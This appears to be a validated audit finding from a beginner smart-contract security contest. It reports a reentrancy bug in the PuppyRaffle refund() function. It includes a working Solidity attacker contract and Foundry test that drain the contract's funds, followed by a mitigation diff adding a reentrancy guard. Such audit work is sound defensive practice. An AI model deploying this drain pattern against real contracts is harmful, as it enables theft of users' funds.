Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack allowing participant to drain all the funds

[H-1] Reentrancy attack, allows malicious participant to drain all the funds of the contract using the PuppyRaffle::refund method

Description:
The refund method allows for reentrancy attack, because modifications to the state of the contract are made after the transfer of ETH.

Impact:
High

Tools used:
foundry, slither

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract ReentrancyAttack {
PuppyRaffle immutable victim;
uint256 public victim_idx;
constructor(address _victim) {
victim = PuppyRaffle(_victim);
}
function attack() external {
victim_idx = victim.getActivePlayerIndex(address(this));
victim.refund(victim_idx);
}
fallback() external payable {
if (address(victim).balance > 0) {
victim.refund(victim_idx);
}
}
}
function testReentrancyAttack() public {
ReentrancyAttack attack = new ReentrancyAttack(address(puppyRaffle));
address[] memory players = new address[](11);
uint256 attackerBalanceBefore = address(attack).balance;
for (uint i=0; i< 10; i++){
players[i] = address(i);
}
players[10] = address(attack);
uint256 totalFeeAccumulated = players.length * entranceFee;
puppyRaffle.enterRaffle{value: totalFeeAccumulated}(players);
attack.attack();
assertEq(address(attack).balance, attackerBalanceBefore + totalFeeAccumulated);
}

Recommended Mitigation:

diff --git a/src/PuppyRaffle.sol b/src/PuppyRaffle.sol
index 4b75055..ff05053 100644
--- a/src/PuppyRaffle.sol
+++ b/src/PuppyRaffle.sol
@@ -5,6 +5,7 @@ import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {Base64} from "lib/base64/base64.sol";
+import {ReentrancyGuard} from "./ReentrancyGuard.sol";
/// @title PuppyRaffle
/// @author PuppyLoveDAO
@@ -15,7 +16,7 @@ import {Base64} from "lib/base64/base64.sol";
/// 3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
/// 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
/// 5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.
-contract PuppyRaffle is ERC721, Ownable {
+contract PuppyRaffle is ReentrancyGuard, ERC721, Ownable {
using Address for address payable;
uint256 public immutable entranceFee;
@@ -93,14 +94,13 @@ contract PuppyRaffle is ERC721, Ownable {
/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`
/// @dev This function will allow there to be blank spots in the array
- function refund(uint256 playerIndex) public {
+ function refund(uint256 playerIndex) public noReentrant {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
-
players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}
@@ -213,4 +213,4 @@ contract PuppyRaffle is ERC721, Ownable {
)
);
}
-}
+}
diff --git a/src/ReentrancyGuard.sol b/src/ReentrancyGuard.sol
index e69de29..bdc0958 100644
--- a/src/ReentrancyGuard.sol
+++ b/src/ReentrancyGuard.sol
@@ -0,0 +1,13 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.7.6;
+
+abstract contract ReentrancyGuard {
+ bool private locked;
+
+ modifier noReentrant() {
+ require(!locked, "ReentrancyGuard: Reentrant call");
+ locked = true;
+ _;
+ locked = false;
+ }
+}
Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.